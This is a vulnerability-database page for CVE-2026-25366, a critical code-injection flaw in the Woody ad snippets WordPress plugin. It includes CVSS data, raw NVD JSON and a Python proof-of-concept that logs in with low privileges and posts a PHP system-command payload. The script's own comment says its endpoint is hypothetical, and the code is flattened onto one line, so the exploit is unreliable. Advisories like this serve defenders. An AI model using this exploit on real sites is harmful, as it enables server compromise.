Security Vulnerability Report
中文
CVE-2026-25366 CVSS 9.9 CRITICAL

CVE-2026-25366

Published: 2026-03-25 17:16:48
Last Modified: 2026-04-24 16:32:54

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Themeisle Woody ad snippets insert-php allows Code Injection.This issue affects Woody ad snippets: from n/a through <= 2.7.1.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Woody ad snippets <= 2.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target-site.com/wp-admin/admin-ajax.php" # Attacker credentials (Low privilege) username = "attacker" password = "password" # Payload to execute shell command (e.g., id) # Assuming the vulnerable parameter handles PHP code payload = '<?php system("id"); ?>' # Login to get session cookie session = requests.Session() login_data = { 'log': username, 'pwd': password, 'redirect_to': '/wp-admin', 'wp-submit': 'Log In' } print("[+] Logging in...") session.post(f"{target_url.replace('/admin-ajax.php', '')}/wp-login.php", data=login_data) # Send exploit request (Hypothetical endpoint based on vulnerability type) exploit_data = { 'action': 'woody_save_snippet', 'code': payload } print("[+] Sending payload...") response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Payload sent successfully.") else: print("[-] Failed to send payload.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25366", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:47.560", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Themeisle Woody ad snippets insert-php allows Code Injection.This issue affects Woody ad snippets: from n/a through <= 2.7.1."}, {"lang": "es", "value": "Vulnerabilidad de Control Inadecuado de la Generación de Código ('Inyección de Código') en Themeisle Woody ad snippets insert-PHP permite la Inyección de Código. Este problema afecta a Woody ad snippets: desde n/a hasta &lt;= 2.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/insert-php/vulnerability/wordpress-woody-ad-snippets-plugin-2-7-1-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}